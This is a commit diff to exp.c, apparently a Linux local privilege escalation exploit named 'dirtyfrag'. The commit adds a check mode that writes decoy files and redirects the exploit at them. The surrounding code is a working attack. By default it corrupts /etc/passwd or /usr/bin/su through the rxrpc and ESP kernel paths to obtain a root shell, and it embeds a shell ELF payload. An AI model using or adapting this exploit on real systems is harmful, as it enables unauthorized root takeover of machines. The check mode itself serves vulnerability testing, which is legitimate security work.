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add full check mode including lokal file generation

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Michael Gebetsroither 2026-05-08 23:40:36 +02:00
parent 1f6143ab63
commit 1fa6288ba9
1 changed files with 59 additions and 0 deletions
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59
exp.c
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@ -88,6 +88,24 @@ static const uint8_t shell_elf[PAYLOAD_LEN] = {
extern int g_su_verbose; extern int g_su_verbose;
int g_su_verbose = 0; int g_su_verbose = 0;
#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0) #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)
#define LOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)
extern int g_check_only;
int g_check_only = 0;
void write_testfile(const char *path, const char *content, int length)
{
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
if(fd == -1) {
LOG("open: %s", strerror(errno));
exit(1);
}
int ret = write(fd, content, length);
if(ret != length) {
LOG("write: %s", strerror(errno));
exit(1);
}
close(fd);
}
static int write_proc(const char *path, const char *buf) static int write_proc(const char *path, const char *buf)
{ {
@ -330,10 +348,18 @@ int su_lpe_main(int argc, char **argv)
; /* compat: this body always corrupts only */ ; /* compat: this body always corrupts only */
} }
if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1; if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;
if (getenv("DIRTYFRAG_CHECKONLY")) g_check_only = 1;
const char *su_target_path = getenv("POC_SU_TARGET_FILE"); const char *su_target_path = getenv("POC_SU_TARGET_FILE");
if (!su_target_path || !*su_target_path) su_target_path = "/usr/bin/su"; if (!su_target_path || !*su_target_path) su_target_path = "/usr/bin/su";
// write test file
if(g_check_only) {
char a[PAYLOAD_LEN+20];
memset(a, 'A', sizeof(a));
write_testfile(su_target_path, a, sizeof(a));
}
pid_t cpid = fork(); pid_t cpid = fork();
if (cpid < 0) return 1; if (cpid < 0) return 1;
if (cpid == 0) { if (cpid == 0) {
@ -451,6 +477,7 @@ static uint8_t SESSION_KEY[8] = {
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08
}; };
#undef LOG
#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__) #define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__)
#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__) #define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__)
#define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__) #define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__)
@ -1243,6 +1270,7 @@ int rxrpc_lpe_main(int argc, char **argv)
} }
} }
} }
if (getenv("DIRTYFRAG_CHECKONLY")) g_check_only = 1;
/* Open a dummy AF_RXRPC socket to autoload the rxrpc kernel module. /* Open a dummy AF_RXRPC socket to autoload the rxrpc kernel module.
* Without this, the first add_key("rxrpc", ...) call fails with ENODEV * Without this, the first add_key("rxrpc", ...) call fails with ENODEV
@ -1263,6 +1291,12 @@ int rxrpc_lpe_main(int argc, char **argv)
const char *target_path = getenv("POC_TARGET_FILE"); const char *target_path = getenv("POC_TARGET_FILE");
if (!target_path || !*target_path) target_path = "/etc/passwd"; if (!target_path || !*target_path) target_path = "/etc/passwd";
// write test file
if(g_check_only) {
const char *passwdstr = "root:x:0:0:root:/root:/bin/bash\n\n";
write_testfile(target_path, passwdstr, strlen(passwdstr));
}
int rfd_ro = open(target_path, O_RDONLY); int rfd_ro = open(target_path, O_RDONLY);
if (rfd_ro < 0) { if (rfd_ro < 0) {
WARN("open %s RO: %s", target_path, strerror(errno)); WARN("open %s RO: %s", target_path, strerror(errno));
@ -1894,8 +1928,33 @@ static int run_root_pty(void)
return 0; return 0;
} }
void setenv_(const char *name, const char *value, int overwrite)
{
int ret = setenv(name, value, overwrite);
if(ret == -1) {
LOG("setenv: %s", strerror(errno));
exit(1);
}
}
int main(int argc, char **argv) int main(int argc, char **argv)
{ {
int check_only = (getenv("DIRTYFRAG_CHECKONLY") != NULL);
for (int i = 1; i < argc; i++) {
if (!strcmp(argv[i], "--check"))
check_only = 1;
}
if(check_only) {
setenv_("DIRTYFRAG_CHECKONLY", "1", 1);
setenv_("DIRTYFRAG_CORRUPT_ONLY", "1", 1);
const char *dirtyfrag_passwd = "dirtyfrag_passwd";
const char *dirtyfrag_su = "dirtyfrag_su";
setenv_("POC_TARGET_FILE", dirtyfrag_passwd, 1);
setenv_("POC_SU_TARGET_FILE", dirtyfrag_su, 1);
}
int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL); int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL);
int co_flag = (getenv("DIRTYFRAG_CORRUPT_ONLY") != NULL); int co_flag = (getenv("DIRTYFRAG_CORRUPT_ONLY") != NULL);
int force_esp = 0, force_rxrpc = 0; int force_esp = 0, force_rxrpc = 0;